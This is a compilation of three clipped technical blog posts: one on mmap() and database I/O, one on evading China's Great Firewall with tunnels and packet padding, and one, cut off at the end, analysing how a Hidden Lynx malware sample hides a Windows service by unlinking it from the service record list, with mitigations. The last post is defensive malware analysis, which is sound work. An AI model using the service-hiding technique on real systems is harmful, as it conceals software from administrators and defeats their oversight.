**Created:**| _5/19/2011 6:57:21 AM_  
---|---  
**Updated:**| _5/19/2011 6:57:43 AM_  
**Author:**| __  
**Tags:**| _Linux programming_  
  

## Wednesday, May 18, 2011

### Why not mmap?

`mmap()` is a beautiful interface. Rather than accessing files through a
series of read and write operations, `mmap()` lets you virtually load the
whole file into a big array and access whatever part you want just like you
would with other RAM. \(It lets you do other things, too—in particular, it's
the basis of memory allocation. See the man page for details.\) In this
article, I'll be discussing `mmap()` on Linux, as it works in virtual memory
systems like x86.  
  
`mmap()` doesn't actually load the whole file in when you call it. Instead, it
loads nothing in but file metadata. In the memory page table, all of the
mapped pages are given the setting to make a page fault if they are read or
written. The page fault handler loads the page and puts it into main memory,
modifying the page table to not fault for this page later. In this way, the
file is lazily read into memory. The file is written back out through the same
writeback mechanism used for the page cache in buffered I/O: after some time
or under some memory pressure, the contents of memory are automatically
synchronized with the disk.  
  
`mmap()` is a system call, implemented by the kernel. Why? As far as I can
tell, what I described above could be implemented in user-space: user-space
has page fault handlers and file read/write operations. But the kernel allows
several other advantages:  

  * If a file is being manipulated by `mmap()` as well as something else at the same time, the kernel can keep these in sync
  * The kernel can do it faster, with specialized implementations for different file systems and fewer context switches between kernel-space and user-space
  * The kernel can do a better job, using its internal statistics to determine when to write back to disk and when to prefetch extra pages of the file

  
One situation where `mmap()` looks useful is databases. What could be easier
for a database implementor than an array of "memory" that's transparently
persisted to disk? Database authors often think they know better than the OS,
so they like to have explicit control over caching policy. And various file
and memory operations give you this, in conjunction with `mmap()`:  

  * `mlock()` lets you force a series of pages to be held in physical memory, and `munlock()` lets you release it. Memory locking here is basically equivalent to making part of the file present in the user-space cache, when no swap is configured on the server.  
  
Memory locking can be dangerous in an environment with many processes running
because the out-of-memory killer \(OOM killer\) might some other process as a
result of your profligate use of memory. However, the use of cgroups or
virtualization can mitigate this possibility and provide isolation.

  * `madvise()` and `posix_fadvise` let you give the OS hints about how to behave with respect to the file. These can be used to encourage things to be pulled into memory or pushed out. `MADV_DONTNEED` is a quick call to zero a series of pages completely, and it could be translated into TRIM on SSDs.
  * `fdatasync()` lets a a process force some data onto the disk right now, rather than trusting writeback to get it there eventually. This is useful for implementing durable transactions.

  
Great\! And in Linux, you can open up a raw block device just by opening a
file like `/dev/hda1` and use `mmap()` straight from there, so this gives
database implementors a way to control the whole disk with the same interface.
This is great if you're a typical database developer who doesn't like the OS
and doesn't trust the file system.  
  
So this sounds like a nice, clean way to write a database or something else
that does serious file manipulation. Some databases use this, for example
MongoDB. But the more advanced database implementations tend to open the
database file in `O_DIRECT` mode and implement their own caching system in
user-space. Whereas `mmap()` lets you use the hardware \(on x86\) page tables
for the indirection between the logical address of the data and where it's
stored in physical memory, these databases force you to go through an _extra_
indirection in their own data structures. And these databases have to
implement their own caches, even though the resulting caches often aren't
smarter than the default OS cache. \(The logic that makes the caching smarter
is often encoded in an application-specific prefetcher, which can be done
pretty clearly though memory mapping.\)  
  
**A problem with`mmap()`**  
  
High-performance databases often get lots of requests. So many requests that,
if they were to spawn a thread for each one of them, the overhead of a kernel
task per request would slow them down \(where task means 'thread or process',
in Linux terminology\). There's a bit of overhead for threads:  

  * Each thread must have its own stack, which takes up memory \(though this is mitigated by the lazy allocation of physical memory to back stacks, which is done by default\)
  * Some Linux CPU schedulers use a lot of CPU themselves. So blocking and then getting resumed has a certain amount of overhead. In particular, overhead is incurred so that the scheduler can be completely fair, and so that it can load-balance between cores.

  
To solve these issues, database implementors often respond to each request
with a user-level coroutine, or even with an explicitly managed piece of state
sent around through various callbacks.  
  
Let's say we have a coroutine responding to a database request, and this
coroutine wants to read from the database in a location that is currently
stored on disk. If it accesses the big array, then it will cause a memory
fault leading to a disk read. This will make the current task block until the
disk read can be completed. But we don't want the whole task to block—we just
want to switch to another coroutine when we have to wait, and we want to
execute that coroutine from the same task.  
  
The typical way around this problem is using asynchronous or non-blocking
operations. For non-blocking I/O, there's `epoll`, which works for some kinds
of files. For direct I/O on disk, Linux provides a different interface called
asynchronous I/O, with system calls like `io_submit`. These two mechanisms can
be hooked up with an eventfd, which is triggered whenever there are AIO
results, using the undocumented system call `io_set_eventfd`. The basic idea
is that you set up a bunch of requests in an object, and then you have a main
loop, driven by `epoll`, where you repeatedly ask for the next available
event. The coroutine scheduler resumes the coroutine that had the event
complete on it, and executes that coroutine until it blocks again. Details
about using this mechanism are a bit obtuse, but not very deep or complicated.  
  
**A proposed solution**  
  
What the `mmap()` interface is missing is a non-blocking way to access memory.
Maybe this would take the form of a call based around `mlock`, like  

[code]

        int mlock_eventfd(const void *addr, ssize_t len, int eventfd);
    
[/code]

  
which would trigger the eventfd once the memory from addr going length len was
locked in memory. The eventfd could be placed in an `epoll` loop and then the
memory requested would be dereferenced for real once it was locked. A similar
mechanism would be useful for `fdatasync`.  
  
We could implement `mlock_eventfd` in user-space using a thread pool, and the
same goes for `fdatasync`. But this would probaly eliminate the performance
advantages of using coroutines in the first place, since accessing the disk is
pretty frequent in databases.  
  
As databases and the devices that underlie them grow more complex, it becomes
difficult to manage this complexity. The operating system provides a useful
layer of indirection between the database and the drive, but old and messy
interfaces make the use of the OS more difficult. Clean, high-level OS
interfaces which let applications take full advantage of the hardware and
kernel-internal mechanisms and statistics would be a great boon to further
database development, allowing the explosion of new databases and solid-state
drives to be fully exploited.

# My Experience With the Great Firewall of China - Zorinaq

**Created:**| _1/18/2016 10:46:29 AM_  
---|---  
**Updated:**| _1/18/2016 10:46:29 AM_  
**Author:**| __  
**Tags:**| __  
  
  

## My Experience With the Great Firewall of China

###

When I recently visited China for the first time, as an InfoSec professional I
was very curious to finally be able to poke at the Great Firewall of China
with my own hands to see how it works and how easy it is evade. In short I was
surprised by:

  * Its high level of sophistication such as its ability to exploit side-channel leaks in TLS \(I have evidence it can detect the "TLS within TLS" characteristic of secure web proxies\)
  * How poorly simple Unix computer security tools fared to evade it
  * 1 of the top 3 commercial VPN providers uses RSA keys so short \(1024 bits\!\) that the Chinese government could factor them

### Why evade the GFW?

Most westerners who visit China have a perfectly legitimate reason for evading
the GFW: it blocks all Google services. That means no Gmail to access your
airline e-ticket, no Hangouts to stay in touch with your family, no Maps to
find your hotel, no Drive to access your itinerary document. This was my
primary need for evading it.

Before visiting China I prepared myself a bit. On my phone I pinned documents
in Drive to access them offline. In Maps I preloaded the locations I was going
to visit by zooming in on them to load all the streets and points of interest
nearby—the new offline Google Maps feature did not exist at the time. But Maps
turned out to be almost unusable anyway: my GPS position was always offset by
hundreds of meters from its true location due to the China GPS shift problem.
\(Google could fix it by using WGS-84 coordinates for their Chinese maps; why
have they not done it already?\)

### Idea 1

So I arrived at my hotel in Beijing, tried to load google.com, and it errored
out due to TCP RSTs sent by the GFW to block the connection. My first idea was
to set up an SSH SOCKS tunnel \(ssh -D\) from my laptop to a server colocated
in a datacenter in the USA, and I configured Chrome to use it:

` $ google-chrome --proxy-server=socks://127.0.0.1:1080  
$ ssh -D 1080 my-server `

This worked fine for a few minutes. Then severe packet loss, around 70-80%,
started occuring. Restarting the tunnel fixed it for a few minutes. But the
packet loss eventually returned, affecting all traffic to my server no matter
what type: SSH connections, or simple pings. It is not clear why the GFW drops
packets. Some say it is to intentionally disrupt VPNs without outright
blocking them. Or perhaps the GFW selectively redirects some suspicious
packets to a subsystem for deeper inspection and this subsystem is overloaded
and unable to cope with all the traffic.

Whatever the reason is, this packet loss made the SOCKS tunnel too slow and
unreliable to be usable.

### Idea 2

I tried a slightly different approach: running a web proxy \(polipo\) on my
server listening on 127.0.0.1:$port and using SSH port redirection \(ssh -L\)
to access it:

` $ google-chrome --proxy-server=127.0.0.1:1234  
$ ssh -L 1234:127.0.0.1:$port my-server `

Again, this worked fine for a few minutes, but the packet loss returned. The
GFW is clearly able to detect and interfere with SSH carrying bulk traffic.

### Idea 3

Instead of SSH, why not access the proxy over a TLS connection? This should
make it harder for the GFW to detect it since the traffic patterns of a user
accessing a proxy over TLS are close to the traffic patterns of a user
accessing an HTTPS site.

Making a web proxy available over TLS is what we call a secure web proxy,
which is not common to the point that most browsers do not support it. So I
used stunnel to wrap the proxy connection in TLS and to expose an unencrypted
proxy endpoint to my laptop.

Of course I had to protect the setup with authentication. But I could not use
standard proxy authentication because if the GFW actively connects to it, the
"407 Proxy Authentication Required" error would expose it. And I did not want
to use TLS client authentication because this might raise a small red flag
that this might some sort of TLS-based VPN. Again I needed to make my secure
web proxy endpoint look like and act like a regular HTTPS endpoint as much as
possible.

So I wrote a small relay script in Python which listens on $port\_a and
forwards all connections to another endpoint $host\_b:$port\_b. The relay can
run in 2 modes. In "client mode" \(on my laptop\) it inserts a 128-bit secret
key as the first 16 bytes sent through the connection. In "server mode" \(on
my server\) it verifies this key, and only forwards the connection if the key
is valid, or else the data is discarded and dropped which makes it look like a
non-responsive web server.

The setup looked like this on my laptop:

  * Browser configured to use proxy on 127.0.0.1:5000
  * Relay listens on 127.0.0.1:5000, inserts the key, and forwards to 127.0.0.1:5001
  * stunnel client listens on 127.0.0.1:5001, wraps the connection in TLS, and forwards to my-server:5002

And on the server:

  * stunnel server listens on my-server:5002, unwraps the connection, and forwards to 127.0.0.1:5003
  * Relay listens on 127.0.0.1:5003, verifies the key \(removes it\), and forwards to 127.0.0.1:5004
  * Web proxy listens on 127.0.0.1:5004

Result? This worked well\! No packet loss, no problems whatsoever.

What does the GFW see on the wire when browsing an HTTP site through the
proxy? A packet capture of "curl --head http://www.google.com" shows this on
my system \(size of TLS records shown in parentheses\):

  1. C: TCP SYN to proxy
  2. S: TCP SYN+ACK reply from proxy
  3. C: TCP ACK
  4. C: ClientHello \(86 bytes\)
  5. S: ServerHello, Certificate, ServerHelloDone \(67+858+9 bytes\)
  6. C: ClientKeyExchange, ChangeCipherSpec, encrypted Finished \(267+6+53 bytes\)
  7. S: NewSessionTicket, ChangeCipherSpec, encrypted Finished \(207+6+53 bytes\)
  8. C: encrypted ApplicationData \#1 \(37+197 bytes\)
  9. S: encrypted ApplicationData \#2 \(37+693 bytes\)

\(Side note: ApplicationData records are split in 2 records, the first one of
37 bytes, because of the 1/n-1 record splitting workaround for BEAST.\)

There is a TCP handshake, a TLS handshake, an encrypted ApplicationData record
sent by the client of about 200 bytes \(the HTTP request\), and an encrypted
ApplicationData record sent by the server of about 700 bytes \(the HTTP
response\). In fact this TLS exchange and traffic pattern is similar to a non-
proxied HTTPS connection, which is why the GFW fails to detect it as an
evasion technique.

Unfortunately, as soon as I started browsing HTTPS sites through my proxy, the
GFW detected it and impacted it with a high packet loss... How can it be?

### Idea 4

When browsing an HTTPS site through a secure proxy there are 2 layers of TLS:
the outer TLS connection to the proxy and the inner TLS connection to the
site. I theorized that the GFW is able to guess that the encrypted
ApplicationData records hide a proxy CONNECT request and another TLS
handshake. Here is what a packet capture looks like for "curl --head
https://www.google.com" through the proxy:

  1. C: TCP SYN to proxy
  2. S: TCP SYN+ACK reply from proxy
  3. C: TCP ACK
  4. C: ClientHello \(86 bytes\)
  5. S: ServerHello, Certificate, ServerHelloDone \(67+858+9 bytes\)
  6. C: ClientKeyExchange, ChangeCipherSpec, encrypted Finished \(267+6+53 bytes\)
  7. S: NewSessionTicket, ChangeCipherSpec, encrypted Finished \(207+6+53 bytes\)
  8. C: encrypted ApplicationData \#1 \(37+197 bytes\)
  9. S: encrypted ApplicationData \#2 \(37+69 bytes\)
  10. C: encrypted ApplicationData \#3 \(37+325 bytes\)
  11. S: encrypted ApplicationData \#4 \(37+3557 bytes\)
  12. C: encrypted ApplicationData \#5 \(37+165 bytes\)
  13. S: encrypted ApplicationData \#6 \(37+85 bytes\)
  14. C: encrypted ApplicationData \#7 \(37+149 bytes\)
  15. S: encrypted ApplicationData \#8 \(37+853 bytes\)

To the GFW, these 8 ApplicationData records could look like 4 pairs of HTTP
requests and responses in a keep-alive connection. However as research has
shown \[5\] \[6\], side-channel leaks in TLS can be exploited, for example by
looking at packet sizes. Doing so, we can see that they indeed match the
expected sizes of the messages exchanged during a CONNECT request and a TLS
handshake:

  1. **C: encrypted ApplicationData \#1 \(37+197 bytes\):**  
"CONNECT www.google.com:443 HTTP/1.1\r\nHost:... \r\nUser-Agent:... \r\n\r\n"
which is typically 200-300 bytes

  2. **S: encrypted ApplicationData \#2 \(37+69 bytes\):**  
35-byte "HTTP/1.1 200 Tunnel established\r\n\r\n" proxy response. But with
1/n-1 record splitting, a 20-byte SHA-1 MAC per record \(my stunnel was using
the AES128-SHA cipher suite\), padding to align with a 16-byte AES block, and
5 bytes of TLS record header, this translates exactly to a 37-byte and 69-byte
record

  3. **C: encrypted ApplicationData \#3 \(37+325 bytes\):**  
ClientHello which is typically 200-300 bytes if it advertises dozens of cipher
suites \(you may notice the ClientHello in the outer TLS connection is only 86
bytes but that is because my stunnel instances were configured to only allow 1
cipher suite\)

  4. **S: encrypted ApplicationData \#4 \(37+3557 bytes\):**  
ServerHello, Certificate, optional ServerKeyExchange, ServerHelloDone, which
are typically 1000-4000 bytes combined \(space mostly used by the certificate
and optional certificate chains\)

  5. **C: encrypted ApplicationData \#5 \(37+165 bytes\):**  
ClientKeyExchange, ChangeCipherSpec, encrypted Finished, which are typically
200-300 bytes combined

  6. **S: encrypted ApplicationData \#6 \(37+85 bytes\):**  
optional NewSessionTicket, ChangeCipherSpec, encrypted Finished, which are
typically 100-300 bytes combined

  7. **C: encrypted ApplicationData \#7 \(37+149 bytes\):**  
HTTP request

  8. **S: encrypted ApplicationData \#8 \(37+853 bytes\):**  
HTTP response

Specifically, if ApplicationData \#2 is very short \(it is extremely rare to
see an HTTP reply shorter than "HTTP/1.1 200 Tunnel established"\), and if
ApplicationData \#4 is around 1-4kB \(certificates + certificate chain\), and
if ApplicationData \#6 is less than 300 bytes \(HTTP responses this small are
less rare but still uncommon\), then the probability of that exchange hiding a
CONNECT request and TLS handshake is high.

To verify my theory that the GFW exploits these side-channel leaks, I modified
the relay script to pad each relayed data block smaller than 1500 bytes to a
random length between 1000 and 1500 bytes:

` if len_pkt < 1000:  
len_pad = randint(1000 - len_pkt, 1500 - len_pkt)  
else:  
len_pad = randint(0, 1500 - len_pkt) `

Result? **This worked very well\! With random padding I was able to browse
normally censored HTTP and HTTPS sites for multiple hours without slowdown,
without packet loss caused by the GFW.**

It was pretty fascinating to test how reliable enabling/disabling the random
padding was. I would disable it and the packet loss would return in minutes. I
would re-enable it and I could browse for hours. I would disable it again, and
the loss would reappear instantly.

I learned through this experience that **the GFW is unmistakably able to
exploit side-channel leaks in TLS, such as packet sizes in order to detect the
"TLS within TLS" characteristic of secure web proxies.** This really surprised
me. I had no idea the GFW had reached this level of sophistication.

The next day, the packet loss returned. But if I simply used a different port
number for the proxy, everything would continue to work fine for another day
or so. I think this time the GFW was not blocking me based on side-channel
leaks, but based on network metrics. 100% of the network traffic to/from my
server crossing the Chinese border was to my public IP in China, so the GFW
probably learned my TCP endpoint was likely used as a private VPN, as opposed
to being a public HTTPS site accessed by many client IPs.

### GFW uses machine learning

None of the information above is new to those familiar with the GFW. It is
only after I reached this point in my tests that I did some deeper reading and
learned that the GFW uses machine learning algorithms to learn, discover, and
block VPNs and proxies.

It all makes sense now: the GFW engineers do not even have to define explicit
rules like I described above \(if ApplicationData \#2 is short, if
ApplicationData \#4 is around 1-4kB, etc\). They train their models using
various VPN and proxy setups, and the algorithms learns the characteristics of
those connections to identify them automatically.

### ExpressVPN

My proxy setup and custom relay script were running on my laptop which I could
use at the hotel. But I needed a solution for my phone when out on the
streets.

I used the commercial service ExpressVPN which seems to be 1 of the top 3 VPN
service used to evade the GFW. It is simple and easy to configure: I installed
their Android app and I was up and running in no time. ExpressVPN built their
service on OpenVPN and have dozens of VPN servers located in many countries.

However I was not pleased when I saw that their OpenVPN root CA certificate
RSA key size is only 1024 bits\! Why, why, why? The Chinese government is one
of the archetype "state-level adversaries" that crypto is supposed to protect
us from. This ExpressVPN weakness has been reported and noted multiple times
\[1\] \[2\].

It is believed that $10 million of specialized hardware can factor 1024-bit
RSA keys \[3\] \[4\]. There is a high computing cost per key, but if I were
China and could factor at least a few RSA keys, surely the root CA key of 1 of
the top 3 VPN providers in the country would be one of my targets. Doing so
would give them the ability to actively man-in-the-middle ExpressVPN
connections and decrypt the traffic. **It is possible that China is already
doing so and spying on some \(all?\) ExpressVPN users.**

Below is the current ExpressVPN root CA certificate with a 1024-bit RSA key,
extracted from the OpenVPN configuration files they distribute to users. Its
serial number is 14845239355711109861 \(0xce04e28a62cf3ae5\) and it is valid
from Jul 19 09:36:31 2009 GMT to Jul 17 09:36:31 2019 GMT:

[code]

    -----BEGIN CERTIFICATE-----
    MIIDeDCCAuGgAwIBAgIJAM4E4opizzrlMA0GCSqGSIb3DQEBBQUAMIGFMQswCQYD
    VQQGEwJVUzELMAkGA1UECBMCQ0ExFTATBgNVBAcTDFNhbkZyYW5jaXNjbzEVMBMG
    A1UEChMMRm9ydC1GdW5zdG9uMRgwFgYDVQQDEw9Gb3J0LUZ1bnN0b24gQ0ExITAf
    BgkqhkiG9w0BCQEWEm1lQG15aG9zdC5teWRvbWFpbjAeFw0wOTA3MTkwOTM2MzFa
    Fw0xOTA3MTcwOTM2MzFaMIGFMQswCQYDVQQGEwJVUzELMAkGA1UECBMCQ0ExFTAT
    BgNVBAcTDFNhbkZyYW5jaXNjbzEVMBMGA1UEChMMRm9ydC1GdW5zdG9uMRgwFgYD
    VQQDEw9Gb3J0LUZ1bnN0b24gQ0ExITAfBgkqhkiG9w0BCQEWEm1lQG15aG9zdC5t
    eWRvbWFpbjCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAyN2QZ9DRRyGsM2/4
    lrf/2/6MQ7RQkD34HeNm73/PiyCg8KM5pmZONfZvlKYPjn5GQVb7AdkgxGCkTtRa
    KGflBwWlPVS716jD+G92McGXjrjVCNdqOADMZdGG69nryX15IAqOqsfeR4vouEra
    UoW9zTibd0rKO6cGbKcfkjoICzkCAwEAAaOB7TCB6jAdBgNVHQ4EFgQU0I63Uy/Y
    ejRdgNARuAef2r07VDEwgboGA1UdIwSBsjCBr4AU0I63Uy/YejRdgNARuAef2r07
    VDGhgYukgYgwgYUxCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJDQTEVMBMGA1UEBxMM
    U2FuRnJhbmNpc2NvMRUwEwYDVQQKEwxGb3J0LUZ1bnN0b24xGDAWBgNVBAMTD0Zv
    cnQtRnVuc3RvbiBDQTEhMB8GCSqGSIb3DQEJARYSbWVAbXlob3N0Lm15ZG9tYWlu
    ggkAzgTiimLPOuUwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOBgQBTRzCa
    WuEimYpjcTSCp8NawUGWetPCeibdOfDinpcIGrmjorxC5RETSAVhQD0i4CaHP7Fu
    vQmBYAIqgSByLAIz+oSj0Vw820pNwA3EGQB8aT/L6QCSuA5NqG6NZS0No8HlICzZ
    KGa+SZvptdmGjhnD1czi+21knEg17ZtktvcQ0w==
    -----END CERTIFICATE-----
    
[/code]

Also, I am confused by the fact the Chinese government allows this well-known
VPN provider \(and others\) to operate freely in the country. They could very
easily deploy low-tech ways to block access to the ExpressVPN service, for
example by filtering or redirecting the DNS records of their VPN hosts, which
is something they do to block certain website hosts. But they do not do it to
block ExpressVPN, why? One possible explanation could be that the Chinese
government did factor the ExpressVPN root CA key and does spy on the network
traffic of their users, but they prefer to not interfere with ExpressVPN in
order to give their users a false sense of privacy. If China blocked the
service, users would migrate to other more secure VPN services, and China
would lose a SIGINT ability.

Many countries other than China have internet censorship capabilities that
rival or surpass the capabilities of the GFW. I would be curious to poke at
them too.

**\[Edit:** I am well aware of some open source VPN tools that work quite well
in China: ShadowVPN / ShadowSocks \(whose developer was recently pressured by
Chinese authorities to empty the GitHub repository\), Obfsproxy \(wiki\),
Softether, etc. My goal was to find out by trial and error the minimum amount
of tricks needed to evade the GFW.**\]**

mrb Thursday 14 January 2016 at 2:03 pm | ¶ | Default
Used tags: cryptography, hack, network, security, web

thirteen comments

<img src='img/e35a1c3e2a4c99927ab07fd5b6cde136.jpg' width='64' height='64'
alt='Hannu' />

I found this blog post very interesting. Is the code of your vpn solution
available somewhere? I’m going to China this summer and would like to have a
secure way to avoid GFW. Also did you managed to find a secure solution for
mobile?

Hannu, - 15-01-’16 10:08

<img src='img/p64.gif' width='64' height='64' alt='donnie' />

You must just use ipv6.

donnie, - 15-01-’16 10:52

<img src='img/p64.gif' width='64' height='64' alt='Anonymous' />

Did you try out Tor pluggable transports by any chance? They’re supposed to
obfuscate traffic patterns and packet sizes.

Anonymous, - 15-01-’16 12:11

<img src='img/p64.gif' width='64' height='64' alt='mrb' />

Hannu: I put it at http://pastebin.com/z3Ygc3jx

Use it like this on the client:  
./tcprelay-secret-exp.py -p 5000 -P 5001 -m 1:$secret

And on the server:  
./tcprelay-secret-exp.py -p 5003 -P 5004 -m 2:$secret

I did not look into other VPN providers. If you use Chrome, and browse HTTPS
websites, and they don’t use weak 1024-bit keys, and they have pinned
certificates, and they use TLS 1.2, and you don’t click through cert warnings
in case of a MitM attack, the GFW cannot decrypt your traffic.

Anonymous: I did not try that.

mrb, - 15-01-’16 12:16

<img src='img/c8501e2288f9f064e7ae1e324921c08f.png' width='64' height='64'
alt='Jonny' />

:\) ; Nice to see you made it on HN; Glad to see you’re enjoying your spoils,
traveling round the world, and hacking along the way. Wish ya the best.

-Jonny
Jonny, - 15-01-’16 12:46

<img src='img/c8501e2288f9f064e7ae1e324921c08f.png' width='64' height='64'
alt='Jonny' />

“Also, I am confused by the fact the Chinese government allows this well-known
VPN provider \(and others\) to operate freely in the country.” — most likely
these VPN services are permitted to operate with the requirement \(voluntarily
or involuntarily\) to share logs with misc. gov entities; it’s a great
tracking mechanism under the guise of freedom.

Jonny, - 15-01-’16 12:50

<img src='img/p64.gif' width='64' height='64' alt='mrb' />

Hi Jonny\! What a surprise… Wish you the best too :\)

mrb, - 15-01-’16 13:17

<img src='img/p64.gif' width='64' height='64' alt='est' />

Poisoning Machine Learning is a new field. Use GFW against innocent sites even
itself. lol

est, - 15-01-’16 22:09

<img src='img/p64.gif' width='64' height='64' alt='Linus Lichtenberg' />

If you’re still in China and be able to access Google Play, please give this
software a try:

https://play.google.com/store/apps/details?id=com.github.shadowsocks&hl=en

You can learn more about it here:

https://shadowsocks.org/en/index.html \(This site is also blocked so you’ll
have to use Force\)

It’s a mature and reliable solution developed by a group of young people in
China.

Linus Lichtenberg, - 15-01-’16 22:10

<img src='' width='64' height='64' alt='pein0119' />

we use shadowsocks, and it works very well

pein0119, - 16-01-’16 09:31

<img src='img/p64.gif' width='64' height='64' alt='bossel' />

Shadowsocks\(-qt5\) is actually still available via github:  
https://github.com/shadowsocks/shadowsocks-qt5/wiki/installation

Installation on Kubuntu was a breeze.  
The question is: How does it work? I haven’t found much of an explanation yet.

Do I have to \(or can I\) use my own VPS as a server or where do I get server
addresses? & how to get Firefox to then surf via Shadowsocks?

bossel, - 16-01-’16 14:02

<img src='img/p64.gif' width='64' height='64' alt='Lupius' />

Hey mrb, found your post on r/netsec. I’m in China right now and this time
around I’m 100% relying on R7’s VPN service \(not sure if my activities are
recorded\). The GFW sure has gotten a lot more sophisticated since my last
trip here.

Lupius, - 17-01-’16 00:43

<img src='img/p64.gif' width='64' height='64' alt='alex' />

you can proxy the open internet used the shadowsocks over the VPS， open the
YouTube video just seconds….

alex, - 18-01-’16 00:56

Name

Email \(optional field\)

URL \(optional field\)

Comment

**Remember personal info?**  
Yes, give me a cookie and remember me.

**Small print:** All html tags except <b> and <i> will be removed from your
comment. You can make links by just typing the url or mail-address.

  

# Unlinking Windows Services from the Service Record List | Speaking of Cyber
**Created:**| _9/5/2014 10:17:00 AM_  
---|---  
**Updated:**| _9/5/2014 10:17:00 AM_  
**Author:**| __  
**Tags:**| __  
  

# Unlinking Windows Services from the Service Record List

Greetings\!  
  
I'm excited to finally put a real post up\! My motivation for writing this was
that I couldn't find anything else on this topic except for two articles
relating to enumerating services via the service record list. I hope you
enjoy, and feel free to contact me\!  
  
While I was reversing a variant of the Hidden Lynx malware family I came
across something I'd never seen before and it was pretty cool. The sample
hides itself from Windows' Service Manager and the Windows Service API by
unlinking itself from the service record list.  
  
The service record list is a doubly-linked list that contains info about the
services on a system. If you've ever studied linked lists then you'll know
that if you remove all pointers to a node in the linked list you can no longer
find that node by traversing the linked list. This is the driving idea behind
this method of hiding services.  
  
Microsoft mentions this data structure here but doesn't tell us everything
about it. Though the documentation does tell us that the following information
is in each service entry \(with some unanswered questions\):

TCHAR \*service\_name; // Pointer or array?

SERVICE\_LOAD\_TYPE load\_type; // Enum

SERVICE\_STATUS svc\_status; // Pointer or struct?

LPVOID dependency\_list; // What kind of list?

Now...details\!

##  Finding the Service Record List

The first thing the malware does is open %SYSTEM%\services.exe and start
scanning it for a specific pattern of bytes, 0xA1909090, and when found,
0x909090C3.

It turns out that this is actually a getter function for a global variable, as
seen below.

<img src='img/Temp2_8727.png' />  
---  
Image 1: IDA Free screenshot of services.exe  
This global variable is a pointer to a pointer to the service record list.
Nice.  
This saves us from having to hard-code an address or scan process memory for a
pattern since this address can, and does, change.

##  Examining the Service Record List

When we attach to the services.exe process in OllyDbg we can examine the
memory at this address \(0x0101A0B4\). We see another address \(0x00381E90\)
which leads us to this section of memory.

<img src='img/Temp2_8725.png' />  
---  
Image 2: OllyDbg dump of the first entry  
Looking at this dump we can immediately identify a few things.

<img src='img/Temp2_8726.png' />  
---  
Image 3: OllyDbg dump obvious labels  
At we notice the address of the 'head' of the list, we can infer that this is
a pointer to the previous element in the list.  
  
At we see two separate pointers to the service name which resides at . If we
take a look at a few other entries we'll see that not all of them have this
duplicated name pointer. Some services have separate service names and display
names. The second pointer points to the display name if one is specified.  
  
At we see the ASCII text "sErv". This is in every service entry and is used as
a magic number to denote this chunk as an entry in the service record list.

If we compare this entry against another entry we can determine the purpose of
a few more values.

<img src='img/Temp2_8729.png' />  
---  
| Image 4: Ollydbg dump identifiable differences  
---  
OllyDbg highlighted \(in yellow\) the changes that were made in memory as I
played with the service in service manager. After comparing some of the values
to the structures that are documented by Microsoft we can answer a few of the
questions we had earlier, and add some info.  
LPVOID prev\_ptr;  
LPVOID next\_ptr;  
TCHAR \*ptr\_svc\_name; // Pointer to service name  
TCHAR \*svc\_display\_name; // Pointer to service display name  
DWORD list\_index; // Index in linked list  
  
DWORD magic\_number; // "sErv"  
  
SERVICE\_STATUS svc\_status; // Structure  
SERVICE\_LOAD\_TYPE load\_type; // Enum  
  
LPVOID dependency\_list; // What kind of list?

TCHAR \*arr\_svc\_name; // Service name

We can see that is a counter just by counting the entries in OllyDbg.  
  
If we check the possible values for the items in the SERVICE\_STATUS structure
then we can see that and match up nicely as we play with service manager.  
  
We also note that immediately following the SERVICE\_STATUS structure at is
the SERVICE\_LOAD\_TYPE enum.

##  Unlinking / Hiding Services

Since the service record list is a doubly-linked list we should be able to
"unlink" a particular service from the list by moving some pointers around.
Anything enumerating services by walking this list will no longer be able to
find the targeted service. Let's hide the BrlAPI service from before.

<img src='img/Temp2_8721.png' />  
---  
Image 5: View of BrlAPI in Service Manager  
This is a simplified view of the doubly-linked list structure that the service
record list uses. <img src='img/Temp2_8722.png' />  
---  
Diagram 1: Simplified doubly-linked list \(normal\)  
Now, if we rearrange the prev and next pointers we can completely take BrlAPI
out of the list, like so.<img src='img/Temp2_8724.png' />  
---  
Diagram 2: Simplified doubly-linked list \(modified\)  
After refreshing service manager the result is exactly what you would
expect\!<img src='img/Temp2_8728.png' />  
---  
Image 6: View of Service Manager with BrlAPI hidden  
It is also not surprising that the Windows API fails to locate the service as
well.<img src='img/Temp2_8723.png' />  
---  
Image 7: OpenService failing to find an unlinked service  
What may be a little surprising, however, is that the service continues to run
in the background. This has to do with how Windows handles scheduling. You can
also link the service back into the list at any point in time. What is most
surprising is if you obtain a handle to a service BEFORE you unlink it you can
still successfully\(ish\) manage it using the Windows API.  
  
This gives developers two choices for managing their hidden services. They can
choose to temporarily re-link it every time they want to send signals to their
service or they can obtain a service handle prior to unlinking and leave their
service hidden while managing it.

##  Implementation

I implemented a simple program that will hide any service by name. You can
find it on my GitHub. I will probably be adding some of the features that are
discussed in the Future Work section in the coming months.

##  Mitigation

Security is an endless game of cat-and-mouse. Although these methods are
easily defeated they are still worth mentioning for completeness.

####  Index scanning

Each entry in the service record list stores its index into the list. A simple
detector program could walk the service record list and check for any breaks
in the indices. For example, \[1,2,3,5\] would indicate that the service at
index 4 is hidden. The detector could then start to scan memory for the hidden
service.

This can be defeated by simply updating the indices of the other services
after you unlink yourself. It also wouldn't work if the last service in the
list was the target. The detector program is vulnerable, too.

####  Service monitoring \(Redundancy\)

A simple application can keep track of all of the services on the system and
if one goes missing then it can alert the user or take action.

This introduces a race condition between the service managers and the malware.
If the malware manages to unlink from both service managers before they run
their detection routine then it will succeed.  
  
In Windows 7 services.exe implements ScDetectIllegalServicesThread, which does
something similar.

####  Protect service record list

Since this method uses WriteProcessMemory from an external process the service
record list could be moved to a "protected" region of memory which disallows
reading/writing from outside processes.

This would not protect against an application injecting itself into
services.exe to gain its access rights to the protected memory.

####  Signatures

This is a pretty clear-cut operation in which a variety of steps must be
performed in order. Most applications will not be performing any of these
actions, especially in this order, unless they are malicious in nature.
Excluding applications such as Debuggers, of course.

##  Future Work

There are a lot of data structures in play with these service entries. This
provides a lot more avenues to explore than this article covered.

Some of them include:

  * Dependency injection / hijacking

  * \[3\] "Automatically Starting Services".

  * Other pointers

  * There are still unexplored values in the entries.
  * Username/Password + ScDecryptPassword.

  * Windows 7/8

  * Uses RtlAquireResourceShared instead of a global variable, so a new method is needed.

##  Conclusion

Seeing this in the wild in the Hidden Lynx variant was really cool. Hopefully
this will help anyone analyzing a similar sample or method better understand
